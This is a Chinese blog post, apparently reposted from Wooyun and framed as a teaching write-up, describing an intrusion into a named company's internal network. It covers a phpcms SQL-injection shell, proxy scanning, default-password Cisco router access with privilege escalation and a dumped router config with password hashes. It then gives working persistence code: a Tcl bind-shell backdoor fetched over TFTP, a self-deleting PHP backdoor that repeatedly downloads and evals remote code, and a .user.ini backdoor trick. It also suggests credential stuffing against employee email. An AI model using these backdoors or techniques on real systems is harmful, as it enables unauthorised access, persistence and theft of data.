wooyun内网渗透教学分享之内网信息探测和后渗透准备

常规的,从web业务撕开口子

url
bit.tcl.com

getshell
很简单,phpcms的,一个Phpcms V9 uc api SQL的老洞直接getshell,拿到shell,权限很高,system



看看网卡信息





只有一块网卡,处于10.4.22的私网地址

在这里,如果我们想要通过这台机器对内网进行渗透,首要工作就是进行内网探测,介绍几个方法

0x00
如果你只是需要对内网的业务主机进行渗透,那么可以优先查看一下hosts,针对hosts中的主机针对性渗透

0x01
如果想要对整个C段主机进行渗透,比较完整方便的方法还是扫描,这里就需要我们进行内网代理,然后扫描

正向代理or反向代理,因为此处主机无法通外网,所以我们选择正向代理

一个我常用的代理reGeorg

https://github.com/sensepost/reGeorg

上传代理脚本,然后用regerog尽心代理链接(regeorg需要urllib3,所以各位需要用到时,先安装这个模块)



nmap等进行代理扫描,很简单可以使用proxychains或者win 下使用proxycap

因为我们这里指定的端口时2333,所以修改一下proxychainsconf





以此来尽心内网C段的信息探测

0x02
当然,仅仅通过扫描,并不能获取到最全面的信息,最全面的信息,要么就是我们拿到了内网拓扑,或者,我直接日下了路由器



路由器,走你~

通过之前的nmap扫描,我们大概知道了开放web服务的主机



访问111213三台主机后,发现时cisco的路由器,且是开放web管理的cisco路由器,默认密码cisco成功进入





开放web管理的思科路由是可以在web端执行命令的,但是我们的路由权限只是1cisco的权限分级大概是这样:

管理员是7 ,但是有15个权限分级,15的权限基本属于为所欲为权限

在这里,因为看到当前路由ios版本号是



低版本的iOS可以利用我之前的一个老洞进行cisco路由提权

因为在web端,可以用privilege15进行命令操作



这样我们就拥有了一个privilege15的用户,赶紧telnet进路由看看配置,一定会有惊喜



看到我们确实拿到了privilege15的用户

那么,来瞅瞅路由配置吧

code 区域

DZSW-3560-A#en

en

DZSW-3560-A#show running-config

show running-config

Building configuration...

 

Current configuration : 3678 bytes

!

version 12.2

no service pad

service timestamps debug uptime

service timestamps log uptime

service password-encryption

!

hostname DZSW-3560-A

!

enable password 7 121A0C041104

!

username admin privilege 15 password 7 1543595F507F7D

no aaa new-model

system mtu routing 1500

vtp mode transparent

ip subnet-zero

ip routing

!

!

!

!

--More--

!

!

no file verify auto

spanning-tree mode pvst

spanning-tree extend system-id

!

vlan internal allocation policy ascending

!

vlan 218

name Call_Center

!

vlan 220

!

vlan 222

name WEB

!

vlan 223

name DB

!

!

interface Port-channel1

switchport trunk encapsulation dot1q

switchport mode trunk

!

interface Port-channel2

description Connect_To_YDBFZX-C3750_Po1

no switchport

ip address 10.68.3.2 255.255.255.252

!

interface GigabitEthernet0/1

switchport access vlan 218

switchport mode access

!

interface GigabitEthernet0/2

switchport access vlan 222

switchport mode access

!

interface GigabitEthernet0/3

switchport access vlan 222

switchport mode access

!

interface GigabitEthernet0/4

switchport access vlan 222

switchport mode access

!

interface GigabitEthernet0/5

switchport access vlan 222

switchport mode access

!

interface GigabitEthernet0/6

switchport access vlan 222

switchport mode access

!

interface GigabitEthernet0/7

switchport access vlan 222

switchport mode access

!

interface GigabitEthernet0/8

switchport access vlan 222

switchport mode access

!

interface GigabitEthernet0/9

switchport access vlan 222

switchport mode access

!

interface GigabitEthernet0/10

switchport access vlan 222

switchport mode access

!



几个业务,DB,办公的vlan跃然于眼前,当前我们实在web vlan

其他两台路由也一样到玩法

===================
分割线==================

那么有的同学就问了,如果我不满足于在web vlan闹腾,如果我作为一个黑阔,我要去办公vlan去耍怎么办,哟西~既然我们都已经控制了路由啦,当然可以去闹!

因为我不是运维狗,所以咨询了z8大屌,他告诉我,少年,你听过GRE隧道么,诶嘿~

code 区域

GRE 是一种最传统的隧道协议,其根本功能就是要实现隧道功能,通过隧道连接的两个远程网络就如同直连,GRE在两个远程网络之间模拟出直连链路,从而使网络间 达到直连的效果



http://itchenyi.blog.51cto.com/4745638/1137143

http://www.codesky.net/article/201207/171461.html

大家可以参考这两个地方

通过GRE隧道配置,我们就可以跑到另外一个vlan去闹了~

(做人留一线,日后好相见,就不截图call_centervlan了,渗透其网段的思路也和之前介绍的一样)



=========分割线==============

那么又有同学举手了,如果我渗透的目标无法短时间内就完成,需要进行后渗透,我怎么样才能让我之后的渗透也方便呢?

好的,同学你很猥琐,这里介绍几个平时我们工作中常用的留后门多法子

首先,这个cisco的路由后门,我们肯定要优先留一个

cisco
路由器支持TCL cisco脚本,所以我们的后门也通过这个来完成

code 区域

# TclShell.tcl v0.1 by Andy Davis, IRM 2007

 

#

 

# IRM accepts no responsibility for the misuse of this code

 

# It is provided for demonstration purposes only

 

proc callback {sock addr port} {

fconfigure $sock -translation lf -buffering line

puts $sock " "

puts $sock "---|---|---|---|---|---|---|---|---|---|---|---|-"

puts $sock "TclShell v0.1 by Andy Davis, IRM 2007"

puts $sock "---|---|---|---|---|---|---|---|---|---|---|---|-"

puts $sock " "

set response [exec "sh ver | inc IOS"]

puts $sock $response

set response [exec "sh priv"]

puts $sock $response

puts $sock " "

puts $sock "Enter IOS command:"

fileevent $sock readable [list echo $sock]

}

proc echo {sock} {

global var

if {[eof $sock] || [catch {gets $sock line}]} {

} else {

set response [exec "$line"]

puts $sock $response

}

}

set port 1234

set sh [socket -server callback $port]

vwait var

close $sh



这是老外写的一个后门,先在路由中开启tclsh模式,然后引入后门脚本



Router#tclsh



Router(tcl)#source tftp://x.x.x.x/backdoor.tcl



这样我们就留下来后门,下次链接可以直接在网段内的机器直接

nc
路由ip 1234(端口在后门脚本中修改)

ok
,如果web的入口断了,这一切都白搭,所以我们还应该对web的机器留下比较隐藏的后门

说两个,一个是文件形的后门

这个办法之前phinthon老师已经说过了,就是通过php.ini或者user.ini留后门

在一个有正常php文件的目录下新建一个.user.ini

内容为

auto_prepend_file=xxx.gif(png/jpg)
之类

而你的xxx.gif之类就是你的后门

具体可以参考http://drops.wooyun.org/tips/3424



第二个办法,非文件形的后门,这样的后门优势在于非常隐蔽,一般的网管都发现不了,但是有一个非常大的缺点,重启,或者进程中断后门就消失了

原理大概是:后门的代码第一行删除自身,然后驻留在后台内存里,等待外部链接

code 区域

<?php

unlink($_SERVER['SCRIPT_FILENAME']);

ignore_user_abort(true);

set_time_limit(0);

 

$remote_file = 'http://xxx/xxx.txt';

while($code = file_get_contents($remote_file)){

@eval($code);

sleep(5);

};

?>



xxx.txt中写入你的后门代码,访问后就会删除自己并循环执行txt的代码,这是之前某人写过的了

ztz
最近有写了一个更赞的无文件后门,你们快去找他要

除了这样的,如果主机是linux,也可以用前段时间猪猪侠说的crontab做后门

漏洞证明:

我们来大概总结一下这次渗透,首先通过外部业务撕开入口,通过代理的方式对内网进行探测,发现了cisco路由,于是利用之前的漏洞进行提权,搞定了路由器,整个vlan划分展露无遗,开启god mode



因为我们这里是概念性的测试,所以尺度不能太大,但是,如果我是一个黑客,我接下来会做的事儿:

利用tunna转发3389出外网链接(但是在这个场景中,出外网限制了部分端口,但是可以查询dns,我们应该利用端口复用的方式),远程桌面后扩大战果(嗅探其他机器)

读数据库我们看到了很多tcl的员工用户数据,可以直接对tcl的企业邮箱直接撞裤攻击



因为路由器搞定了,跨vlan到另外的段,继续进行渗透



概念性证明图:

 

 

posted @ 2016-01-23 17:49  h4ck0ne  阅读(2602)  评论(0编辑  收藏  举报